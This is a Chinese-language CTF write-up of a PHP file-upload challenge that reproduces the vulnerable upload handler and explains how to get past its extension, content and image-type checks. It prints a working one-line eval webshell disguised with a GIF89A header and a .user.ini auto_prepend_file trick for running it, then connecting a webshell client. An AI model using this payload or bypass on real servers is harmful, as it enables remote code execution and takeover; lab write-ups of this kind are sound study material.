<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Upload Labs</title>
</head>
<body>
<h2>Upload Labs</h2>
<form action="index.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="fileUpload" id="file"><br>
<input type="submit" name="upload" value="提交">
</form>
</body>
打开题目,发现是一个文件上传的题目,根据提示在github上找到了源码如下:
</html>
<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
if (!$tmp_name) {
die("filesize too big!");
}
if (!$name) {
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") + 1);
if (preg_match("/ph|htacess/i", $extension)) {
die("illegal suffix!");
}
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("<? in contents!");
}
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die("exif_imagetype:not image!");
}
$upload_file_path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. ' <br>';
echo 'Your files : <br>';
var_dump(scandir($userdir));
}
分析一下,他检查了以下内容:
1.后缀名不能是/ph|htacess/
2.用mb_strpos(file_get_contents($tmp_name),"<?")的方法检查文件内容里有没有<?
3.用exif_imagetype()函数检查了图片格式,
绕过思路:
1.一句话木马不能写<?php @eval($_REQUEST[1];)?>了,换成
GIF89A
<script language='php'>@eval($_REQUEST[1]);</script>
2.既然只能上传图片马,就必须得让文件以php解析,htacceess被过滤了,考虑用.user.ini文件,文件内容如下:
GIF89A
auto_prepend_file=1.jpg
auto_prepend_file的意思是:指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数,刚好文件下有个php文件,这就能文件包含了,就可以连接菜刀了。
知识:
.user.ini。它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。
exif_imagetype()函数用GIF89A绕过
mb_strpos(file_get_contents($tmp_name),"<?")函数配合使用检查文件里的内容是否出现危险字符